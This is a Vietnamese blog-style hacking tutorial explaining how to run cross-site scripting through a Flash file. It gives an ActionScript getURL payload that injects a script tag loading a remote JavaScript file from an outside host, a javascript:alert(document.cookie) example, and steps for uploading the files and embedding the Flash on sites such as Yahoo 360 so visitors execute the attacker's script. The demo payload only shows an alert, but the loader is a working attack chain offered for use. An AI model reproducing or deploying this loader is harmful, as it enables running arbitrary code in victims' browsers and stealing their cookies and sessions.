Flash là một công cụ tạo hoạt hình số một trên thế giới hiện nay, đặc điểm khiến nó trở nên mạnh mẽ như vậy là nhờ nó có chức năng nhúng một dạng Script đặc biệt trong tập tin Flash ( .SWF ) được gọi là Action Script mã Script này hoàn toàn ko dính dáng gì tới JavaScript hết á.
Javascript là mã kịch bản chạy Phía Client, nó là mục tiêu của những hacker tìm cách khai thác lỗi XSS ( Cross Site Scripting )
Bản thân Flash không chạy được JavaScript, vậy nên bạn sẽ cho là tôi khùng khi bảo tôi sẽ chạy JavaScript thông qua Flash.
Sự thật là tôi hoàn toàn có thể chạy một doạn script trên bất kì trình duyệt nào, dù nó đang mở bất kì trang nào, đó là nhờ kĩ thuật JavaScript Injection - Kĩ thuật chèn script lên address bar
vd cụ thể:
Bạn nhập vào address bar dòng sau
Code:
javascript:alert(document.cookie);
Một hộp thoại văng ra với nội dung là cái cookie của HVA lưu trên máy bạn
Với ý tưởng này tôi sẽ làm cho cái Flash thực hiện công việc ghi dòng này lên address bar
Chú ý để hiểu những gì sau đây bạn phải tìm hiểu về Flash và ActionScript còn ko thì bạn 100% ko hiểu gì hết.
Trong Flash có hàm getURL()
hàm này thực hiện việc gửi 1 chuỗi địa chỉ tới thanh address ( có thể nói là như vậy ) rồi thực hiện việc truy cập địa chỉ này.
Bạn tạo 1 file flash với action script sau:
Code:
getURL("http://www.hvaonline.net")
sau khi chạy thì chắc chắn cái trang web đang chứa đoạn flash sẽ redirect sang trang chủ HVA
Cơ bản vấn đề là thế, giờ ta xem làm đc gì với thứ này.
Quay lại vấn đề Javascript Injection , ta sẽ sử dụng hàm getURL của flash gửi dòng javascript: tới thanh address và thực hiện nó một cách tự động.
Có thể tóm tắt tất cả như sau:
Một trang web cho phép chèn Flash ví dụ như Yahoo 360
ta chèn một tệp flash có hàm getURL để chạy lệnh javascript trực tiếp khi đoạn Flash đc load.
người dùng truy cập vô ----> Tệp Flash SWF đc load -------> chạy hàm getURL() -----> inject javascript: vô thanh address ----> chạy lệnh script đó ---------> đã khai thác được XSS )
Để cho mọi việc hoàn hảo hơn nữa, việc inject javascript lên address bar rất hạn chế số lượng lệnh, vì dài quá dễ sinh lỗi và ko được có kí tự enter không thì nó ko chạy vì address có cái kí tự enter bao giờ (
Cách giải quyết là dùng DOM load javascript vô trang luôn, cái này gọi là Dynamic JavaScript Loading
Sau đây là các mã demo cho toàn bộ quá trình khai thác XSS qua Flash
Mã ActionScript:
Code:
getURL("javascript:function include_dom(script_filename) {var html_doc = document.getElementsByTagName('head').item(0);var js = document.createElement('script');js.setAttribute('language', 'javascript');js.setAttribute('type', 'text/javascript');js.setAttribute('src', script_filename);html_doc.appendChild(js);}include_dom('http://hackernohat.googlepages.com/malenh.js');") stop();
đoạn mã này là đoạn mã inject javascript vô address bar bạn chú ý dòng getURL nó chèn một đoạn mã javascript dùng DOM để chèn tệp tin script ( ở đây là tệp tin malenh.js đặt trên trang hackernohat.googlepages.com ) từ xa vào trang web chứa tệp Flash
Tệp malenh.js
Code:
alert('XSS Thought Flash Vulnerability');
tập tin malenh.js là tập tin chứa các mã script mà hacker sẽ chạy trên trình duyệt của nạn nhận.
Toàn bộ 2 têp : tệp flash và tệp malenh.js upload lên một máy chủ web ví dụ googlepages.com
vô trang cho phép chèn Flash như là Yahoo 360 chẳng hạn, dán đoạn mã load tệp Flash vô rùi ok xong phim .
Qua kĩ thuật khai thác này ta có thể thấy, Flash thật ra rất nguy hiểm khi người ta không nghĩ rằng có thể dùng nó cho mục đích phá hoại.
Copyright (C) NoHat )
No comments: